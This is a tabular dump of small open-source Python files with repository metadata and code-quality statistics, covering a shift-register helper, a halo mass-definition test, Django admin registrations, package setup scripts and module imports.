b68b37aead3f554ef29d7f7256730e786f83d135 | 243 | py | Python | src/big_muddy/big_muddy_util.py | orwonthe/big_muddy_pi | 981e3fa5d096d93be8451beb03220be7e63751da | [
"MIT"
] | null | null | null | src/big_muddy/big_muddy_util.py | orwonthe/big_muddy_pi | 981e3fa5d096d93be8451beb03220be7e63751da | [
"MIT"
] | null | null | null | src/big_muddy/big_muddy_util.py | orwonthe/big_muddy_pi | 981e3fa5d096d93be8451beb03220be7e63751da | [
"MIT"
] | null | null | null | def set_and_shift_values(big_muddy_io, values):
for value in values:
set_and_shift_single(big_muddy_io, value)
def set_and_shift_single(big_muddy_io, value):
big_muddy_io.set_data_pins(value)
big_muddy_io.shifting.pulse() | 30.375 | 49 | 0.777778 | 42 | 243 | 4 | 0.380952 | 0.238095 | 0.297619 | 0.166667 | 0.380952 | 0.380952 | 0.380952 | 0.380952 | 0 | 0 | 0 | 0 | 0.144033 | 243 | 8 | 50 | 30.375 | 0.807692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
fcc1667d813af265e1b7ca0ce554c5c8a739c0b7 | 2,116 | py | Python | tests/test_mdef.py | zhaotingchen/hmf | b1f8f068d42518786fb40da2e323de7f59a935ea | [
"MIT"
] | null | null | null | tests/test_mdef.py | zhaotingchen/hmf | b1f8f068d42518786fb40da2e323de7f59a935ea | [
"MIT"
] | null | null | null | tests/test_mdef.py | zhaotingchen/hmf | b1f8f068d42518786fb40da2e323de7f59a935ea | [
"MIT"
] | null | null | null | # require colossus for this test
from colossus.halo.mass_defs import changeMassDefinition
from colossus.cosmology.cosmology import setCosmology
import hmf.halos.mass_definitions as md
from astropy.cosmology import Planck15
import numpy as np
# Set COLOSSUS cosmology
setCosmology("planck15")
def test_mean_to_mean_n... | 31.117647 | 86 | 0.702741 | 304 | 2,116 | 4.710526 | 0.190789 | 0.067039 | 0.125698 | 0.061453 | 0.788408 | 0.788408 | 0.767458 | 0.715084 | 0.715084 | 0.715084 | 0 | 0.084282 | 0.170132 | 2,116 | 67 | 87 | 31.58209 | 0.731207 | 0.025047 | 0 | 0.52381 | 0 | 0 | 0.024757 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 1 | 0.095238 | false | 0 | 0.119048 | 0 | 0.214286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
fcd16e4593b865c7f70f83c361880d58ffa86225 | 7,315 | py | Python | anchore_engine/db/db_archivedocument.py | rbrady/anchore-engine | 5a5c492d76b5f911e60be422912fe8d42a74872b | [
"Apache-2.0"
] | 1,484 | 2017-09-11T19:08:42.000Z | 2022-03-29T07:47:44.000Z | anchore_engine/db/db_archivedocument.py | rbrady/anchore-engine | 5a5c492d76b5f911e60be422912fe8d42a74872b | [
"Apache-2.0"
] | 913 | 2017-09-27T20:37:53.000Z | 2022-03-29T17:21:28.000Z | anchore_engine/db/db_archivedocument.py | rbrady/anchore-engine | 5a5c492d76b5f911e60be422912fe8d42a74872b | [
"Apache-2.0"
] | 294 | 2017-09-12T16:54:03.000Z | 2022-03-14T01:28:51.000Z | """
This is a deprecated module. Archive model has changed to use the db_archivemeta module for meta record updates and db_objectstorage for the content.
"""
import time
from anchore_engine import db
from anchore_engine.db import LegacyArchiveDocument
# specific DB interface helpers for the 'services' table
def ad... | 24.96587 | 149 | 0.585373 | 735 | 7,315 | 5.731973 | 0.133333 | 0.039877 | 0.101828 | 0.040589 | 0.780204 | 0.758842 | 0.753857 | 0.708521 | 0.636601 | 0.621885 | 0 | 0.001002 | 0.317977 | 7,315 | 292 | 150 | 25.05137 | 0.843456 | 0.028025 | 0 | 0.706667 | 0 | 0 | 0.013236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057778 | false | 0 | 0.013333 | 0.004444 | 0.124444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
fcfc7b1a5f29668d6ca0ce5e0d90bdd8a2477676 | 1,043 | py | Python | Vigenere/goto/setup.py | PeterHall16/Cryptography | 481c365f379ec5214c84345eb1aa29db90499459 | [
"MIT"
] | null | null | null | Vigenere/goto/setup.py | PeterHall16/Cryptography | 481c365f379ec5214c84345eb1aa29db90499459 | [
"MIT"
] | null | null | null | Vigenere/goto/setup.py | PeterHall16/Cryptography | 481c365f379ec5214c84345eb1aa29db90499459 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(
name='goto-statement',
version='1.1',
url='https://github.com/snoack/python-goto/',
description='A function decorator, that rewrites the bytecode, to enable goto in Python',
py_modules=['goto'],
author='Sebastian Noack',
author_email='sebastian.noack@gmai... | 37.25 | 93 | 0.607862 | 108 | 1,043 | 5.851852 | 0.546296 | 0.27057 | 0.356013 | 0.246835 | 0.085443 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024204 | 0.247363 | 1,043 | 27 | 94 | 38.62963 | 0.780892 | 0 | 0 | 0 | 0 | 0 | 0.665388 | 0.023969 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.038462 | 0 | 0.038462 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
fcfe6821869239d187c8c323e9803d6f1eff433d | 179 | py | Python | pvrcnn/dataset/__init__.py | muzi2045/PV-RCNN | 427a0ad74652dcc2b0c6a90f3967af19253dc56b | [
"MIT"
] | 4 | 2020-03-06T15:27:08.000Z | 2021-05-14T01:32:26.000Z | pvrcnn/dataset/__init__.py | muzi2045/PV-RCNN | 427a0ad74652dcc2b0c6a90f3967af19253dc56b | [
"MIT"
] | null | null | null | pvrcnn/dataset/__init__.py | muzi2045/PV-RCNN | 427a0ad74652dcc2b0c6a90f3967af19253dc56b | [
"MIT"
] | 1 | 2020-03-09T14:00:50.000Z | 2020-03-09T14:00:50.000Z | from .kitti_dataset import KittiDataset, KittiDatasetTrain
from .udi_dataset import UDIDataset, UDIDatasetTrain
from .nuscenes_dataset import NuscenesDataset, NuscenesDatasetTrain | 59.666667 | 67 | 0.888268 | 18 | 179 | 8.666667 | 0.666667 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.078212 | 179 | 3 | 67 | 59.666667 | 0.945455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
1e384dd7cdb12d4b54707075ac205fcfe3653c85 | 171 | py | Python | alphaware/pipeline/__init__.py | iLampard/alphaware | f7595351def1be2ddc1a763f72482c8edbc955c8 | [
"Apache-2.0"
] | 13 | 2017-12-29T01:16:05.000Z | 2022-01-08T11:17:05.000Z | alphaware/pipeline/__init__.py | iLampard/alphaware | f7595351def1be2ddc1a763f72482c8edbc955c8 | [
"Apache-2.0"
] | null | null | null | alphaware/pipeline/__init__.py | iLampard/alphaware | f7595351def1be2ddc1a763f72482c8edbc955c8 | [
"Apache-2.0"
] | 16 | 2017-07-14T06:34:52.000Z | 2021-01-16T06:41:58.000Z | # -*- coding: utf-8 -*-
from .pipeline import (AlphaPipeline,
make_alpha_pipeline)
__all__ = ['AlphaPipeline',
'make_alpha_pipeline']
| 19 | 43 | 0.578947 | 15 | 171 | 6.066667 | 0.666667 | 0.373626 | 0.483516 | 0.659341 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008333 | 0.298246 | 171 | 8 | 44 | 21.375 | 0.75 | 0.122807 | 0 | 0 | 0 | 0 | 0.216216 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
1e741b4b4dce2de94b78d8e4399ee914fd1173a2 | 56 | py | Python | pytest_drf/plugin.py | theY4Kman/pytest-drf | 1c86e023ebe7353e89aa71a7fc3b15457b5b20bd | [
"MIT"
] | 58 | 2020-02-09T07:13:57.000Z | 2021-12-06T10:00:15.000Z | pytest_drf/plugin.py | theY4Kman/pytest-drf | 1c86e023ebe7353e89aa71a7fc3b15457b5b20bd | [
"MIT"
] | 10 | 2020-07-27T09:21:51.000Z | 2021-09-11T20:14:45.000Z | pytest_drf/plugin.py | theY4Kman/pytest-drf | 1c86e023ebe7353e89aa71a7fc3b15457b5b20bd | [
"MIT"
] | 5 | 2020-07-27T08:39:48.000Z | 2021-12-26T07:08:55.000Z | # Expose our fixtures to pytest
from .fixtures import *
| 18.666667 | 31 | 0.767857 | 8 | 56 | 5.375 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.178571 | 56 | 2 | 32 | 28 | 0.934783 | 0.517857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1ebfca9a8d0782bcc2ee1bfb62e678f37a95ecfb | 178 | py | Python | examples/bot/setup.py | phracek/betka | 12c920bd76d33f81bbf8cda6f27d673c8826cf9e | [
"MIT"
] | 1 | 2020-11-05T21:16:28.000Z | 2020-11-05T21:16:28.000Z | examples/bot/setup.py | phracek/betka | 12c920bd76d33f81bbf8cda6f27d673c8826cf9e | [
"MIT"
] | 16 | 2020-03-20T11:23:27.000Z | 2022-03-08T17:09:11.000Z | examples/bot/setup.py | phracek/betka | 12c920bd76d33f81bbf8cda6f27d673c8826cf9e | [
"MIT"
] | 1 | 2020-03-11T09:29:48.000Z | 2020-03-11T09:29:48.000Z | try:
from setuptools import setup, find_packages
except ImportError:
from distutils.core import setup
setup(name="foobarbot", version="0.0.1", packages=find_packages())
| 25.428571 | 66 | 0.758427 | 24 | 178 | 5.541667 | 0.666667 | 0.165414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019481 | 0.134831 | 178 | 6 | 67 | 29.666667 | 0.844156 | 0 | 0 | 0 | 0 | 0 | 0.078652 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.6 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1edf85a1ec0131fecb87cedd6cb5f94165dca37c | 39 | py | Python | us_geo_helper/__init__.py | sammymax/us-geo-helper | e08dce1e66aedcc0f58cfe81a7032fca0adf75a8 | [
"MIT"
] | null | null | null | us_geo_helper/__init__.py | sammymax/us-geo-helper | e08dce1e66aedcc0f58cfe81a7032fca0adf75a8 | [
"MIT"
] | null | null | null | us_geo_helper/__init__.py | sammymax/us-geo-helper | e08dce1e66aedcc0f58cfe81a7032fca0adf75a8 | [
"MIT"
] | null | null | null | from .us_geo_helper import USGeoHelper
| 19.5 | 38 | 0.871795 | 6 | 39 | 5.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 39 | 1 | 39 | 39 | 0.914286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a209ef9465646833adf64de93888ad1d870458e5 | 134 | py | Python | employees/admin.py | sear-azazel/bot | c536f5bcc22196938634cb9bb8827394b61222b1 | [
"MIT"
] | null | null | null | employees/admin.py | sear-azazel/bot | c536f5bcc22196938634cb9bb8827394b61222b1 | [
"MIT"
] | null | null | null | employees/admin.py | sear-azazel/bot | c536f5bcc22196938634cb9bb8827394b61222b1 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Employee, Division
admin.site.register(Employee)
admin.site.register(Division)
| 19.142857 | 38 | 0.820896 | 18 | 134 | 6.111111 | 0.555556 | 0.163636 | 0.309091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097015 | 134 | 6 | 39 | 22.333333 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
a2157d6ec40e0aa8a9b234ab3d41ef42b833e416 | 105 | py | Python | sample/helpers.py | mxttwoods/python_mod_template | 78959ff63b64be8aaff8cb91fbdeaa31cc849d0e | [
"MIT"
] | null | null | null | sample/helpers.py | mxttwoods/python_mod_template | 78959ff63b64be8aaff8cb91fbdeaa31cc849d0e | [
"MIT"
] | null | null | null | sample/helpers.py | mxttwoods/python_mod_template | 78959ff63b64be8aaff8cb91fbdeaa31cc849d0e | [
"MIT"
] | null | null | null | """
A file to contain helper functions.
"""
def get_answer():
"""Get an answer."""
return True
| 11.666667 | 35 | 0.6 | 14 | 105 | 4.428571 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.238095 | 105 | 8 | 36 | 13.125 | 0.775 | 0.47619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
bf516af38dcfe3a864acfbdbc4c0d3f5a124bbb3 | 197 | py | Python | src/backend/admin.py | HectorPulido/nlu-brain-api | 1e0a3adbb7401b717d7b6ac13de75c761d1a87cf | [
"MIT"
] | 3 | 2021-09-14T17:38:55.000Z | 2022-01-02T06:06:57.000Z | src/backend/admin.py | HectorPulido/nlu-brain-api | 1e0a3adbb7401b717d7b6ac13de75c761d1a87cf | [
"MIT"
] | null | null | null | src/backend/admin.py | HectorPulido/nlu-brain-api | 1e0a3adbb7401b717d7b6ac13de75c761d1a87cf | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.utils.safestring import mark_safe
from .models import *
admin.site.register(UnresolvedQuestions)
admin.site.register(Key)
admin.site.register(Record)
| 21.888889 | 45 | 0.827411 | 27 | 197 | 6 | 0.555556 | 0.166667 | 0.314815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086294 | 197 | 8 | 46 | 24.625 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
bf5c047093c0cbdf54dbe34f75437bff4cc4eac8 | 53 | py | Python | casbin/rbac/default_role_manager/__init__.py | abichinger/pycasbin | 6166f298406d029a8540a12a4157d7b0072f8c8e | [
"Apache-2.0"
] | 1 | 2021-11-26T07:59:43.000Z | 2021-11-26T07:59:43.000Z | casbin/rbac/default_role_manager/__init__.py | Acidburn0zzz/pycasbin | bb2c4bfbbbac97c1253bc639fb1b71b9af2317c4 | [
"Apache-2.0"
] | 1 | 2021-12-10T00:47:34.000Z | 2021-12-13T16:50:17.000Z | casbin/rbac/default_role_manager/__init__.py | Acidburn0zzz/pycasbin | bb2c4bfbbbac97c1253bc639fb1b71b9af2317c4 | [
"Apache-2.0"
] | null | null | null | from .role_manager import RoleManager, DomainManager
| 26.5 | 52 | 0.867925 | 6 | 53 | 7.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09434 | 53 | 1 | 53 | 53 | 0.9375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
bf5d97155995a3f76a9d7e5bf3ccdb8be5126bc8 | 1,879 | py | Python | admintools_bootstrap/__init__.py | akestner/django-admintools-bootstrap | 0423801e76059b7e72cd1158606412710629981c | [
"MIT"
] | 1 | 2017-12-21T04:07:19.000Z | 2017-12-21T04:07:19.000Z | admintools_bootstrap/__init__.py | akestner/django-admintools-bootstrap | 0423801e76059b7e72cd1158606412710629981c | [
"MIT"
] | null | null | null | admintools_bootstrap/__init__.py | akestner/django-admintools-bootstrap | 0423801e76059b7e72cd1158606412710629981c | [
"MIT"
] | null | null | null | __version__ = (1, 0, 0, "final", 0)
ADMIN_PIPELINE_CSS = {
'admin_bs3': {
'source_filenames': (
'admintools_bootstrap/chosen/chosen.css',
'admintools_bootstrap/lib/bootstrap-datetimepicker.css',
'admintools_bootstrap/lib/bootstrap-fileupload.scss',
'adminto... | 34.163636 | 68 | 0.59074 | 183 | 1,879 | 5.808743 | 0.234973 | 0.303857 | 0.197554 | 0.194732 | 0.522107 | 0.20508 | 0.07714 | 0 | 0 | 0 | 0 | 0.013158 | 0.271953 | 1,879 | 54 | 69 | 34.796296 | 0.763889 | 0 | 0 | 0.28 | 0 | 0 | 0.612028 | 0.465141 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
bf6a22d3f6429078e1bade8ca613e2b2f70f8ff2 | 150 | py | Python | sound/admin.py | Anirudhchoudhary/ApnaGanna__backend | 52e6c3100fdb289e8bf64a1a4007eeb2eb66a022 | [
"MIT"
] | null | null | null | sound/admin.py | Anirudhchoudhary/ApnaGanna__backend | 52e6c3100fdb289e8bf64a1a4007eeb2eb66a022 | [
"MIT"
] | null | null | null | sound/admin.py | Anirudhchoudhary/ApnaGanna__backend | 52e6c3100fdb289e8bf64a1a4007eeb2eb66a022 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Sound , Album
# Register your models here.
admin.site.register(Sound)
admin.site.register(Album)
| 25 | 33 | 0.8 | 22 | 150 | 5.454545 | 0.545455 | 0.15 | 0.283333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113333 | 150 | 5 | 34 | 30 | 0.902256 | 0.173333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
bfb5b9f12281901da6efcd9e98c6fcd045692106 | 33 | py | Python | config.py | djkarmi/swapy | 0030bfacd725896536223b10ba4dac2c810b6f0b | [
"MIT"
] | null | null | null | config.py | djkarmi/swapy | 0030bfacd725896536223b10ba4dac2c810b6f0b | [
"MIT"
] | null | null | null | config.py | djkarmi/swapy | 0030bfacd725896536223b10ba4dac2c810b6f0b | [
"MIT"
] | null | null | null | key = '11231'
secret = '21231qd'
| 11 | 18 | 0.636364 | 4 | 33 | 5.25 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.37037 | 0.181818 | 33 | 2 | 19 | 16.5 | 0.407407 | 0 | 0 | 0 | 0 | 0 | 0.363636 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
bfd07ebea55ae687b8fd6d334ef166b87b5960e4 | 156 | py | Python | Proyecto21dias/views.py | sergioandrespenarandatarazona/Tesis1 | 24ad878189aefa932895b2f42e8059a9720fcf1f | [
"MIT"
] | null | null | null | Proyecto21dias/views.py | sergioandrespenarandatarazona/Tesis1 | 24ad878189aefa932895b2f42e8059a9720fcf1f | [
"MIT"
] | null | null | null | Proyecto21dias/views.py | sergioandrespenarandatarazona/Tesis1 | 24ad878189aefa932895b2f42e8059a9720fcf1f | [
"MIT"
] | null | null | null | """ URLs module."""
from django.http import HttpResponse
def hello_world(request):
"""Return a greeting."""
return HttpResponse('Hello, world!')
| 17.333333 | 40 | 0.679487 | 18 | 156 | 5.833333 | 0.777778 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 156 | 8 | 41 | 19.5 | 0.807692 | 0.198718 | 0 | 0 | 0 | 0 | 0.116071 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
44a6502e530b774ea0de91cb6b08dd41cf5dbf30 | 142 | py | Python | amazing_semantic_segmentation/base_models/__init__.py | jarodhanko/Amazing-Semantic-Segmentation | b92596d4c17a72492e848af9e8d7152386f035b2 | [
"Apache-2.0"
] | null | null | null | amazing_semantic_segmentation/base_models/__init__.py | jarodhanko/Amazing-Semantic-Segmentation | b92596d4c17a72492e848af9e8d7152386f035b2 | [
"Apache-2.0"
] | null | null | null | amazing_semantic_segmentation/base_models/__init__.py | jarodhanko/Amazing-Semantic-Segmentation | b92596d4c17a72492e848af9e8d7152386f035b2 | [
"Apache-2.0"
] | null | null | null | from .densenet import DenseNet
from .resnet import ResNet
from .vgg import VGG
from .xception import Xception
from .mobilenet import MobileNet | 28.4 | 32 | 0.830986 | 20 | 142 | 5.9 | 0.35 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.133803 | 142 | 5 | 32 | 28.4 | 0.95935 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
44bbc5fa267f14938d1fe9e11e5bbc094d929e65 | 128 | py | Python | Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/PRSCondition/LAD1coronaryRpController.py | carthurs/CRIMSONGUI | 1464df9c4d04cf3ba131ca90b91988a06845c68e | [
"BSD-3-Clause"
] | 10 | 2020-09-17T18:55:31.000Z | 2022-02-23T02:52:38.000Z | Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/RestingCondition/LAD1coronaryRpController.py | carthurs/CRIMSONGUI | 1464df9c4d04cf3ba131ca90b91988a06845c68e | [
"BSD-3-Clause"
] | null | null | null | Documentation/GuidesFromPlosCompBioPaper/ExampleCaseC/AdditionalInputFiles/RestingCondition/LAD1coronaryRpController.py | carthurs/CRIMSONGUI | 1464df9c4d04cf3ba131ca90b91988a06845c68e | [
"BSD-3-Clause"
] | 3 | 2021-05-19T09:02:21.000Z | 2021-07-26T17:39:57.000Z | version https://git-lfs.github.com/spec/v1
oid sha256:c80121073b3d0f2cab0223af9c5b1c29c50bc0330a7c43d6f8ea6a907ba3b053
size 713
| 32 | 75 | 0.882813 | 13 | 128 | 8.692308 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.377049 | 0.046875 | 128 | 3 | 76 | 42.666667 | 0.54918 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
44c0db6e6d5855091c83ffc85fa5dde915ebfe7c | 173 | py | Python | savu/plugins/component_analysis/pca_tools.py | elainehoml/Savu | e4772704606f71d6803d832084e10faa585e7358 | [
"Apache-2.0"
] | 39 | 2015-03-30T14:03:42.000Z | 2022-03-16T16:50:33.000Z | savu/plugins/component_analysis/pca_tools.py | elainehoml/Savu | e4772704606f71d6803d832084e10faa585e7358 | [
"Apache-2.0"
] | 670 | 2015-02-11T11:08:09.000Z | 2022-03-21T09:27:57.000Z | savu/plugins/component_analysis/pca_tools.py | elainehoml/Savu | e4772704606f71d6803d832084e10faa585e7358 | [
"Apache-2.0"
] | 54 | 2015-02-13T14:09:52.000Z | 2022-01-24T13:57:09.000Z | from savu.plugins.plugin_tools import PluginTools
class PcaTools(PluginTools):
"""
This plugin performs independent component analysis on XRD/XRF spectra.
"""
| 21.625 | 75 | 0.745665 | 20 | 173 | 6.4 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.179191 | 173 | 7 | 76 | 24.714286 | 0.901408 | 0.410405 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
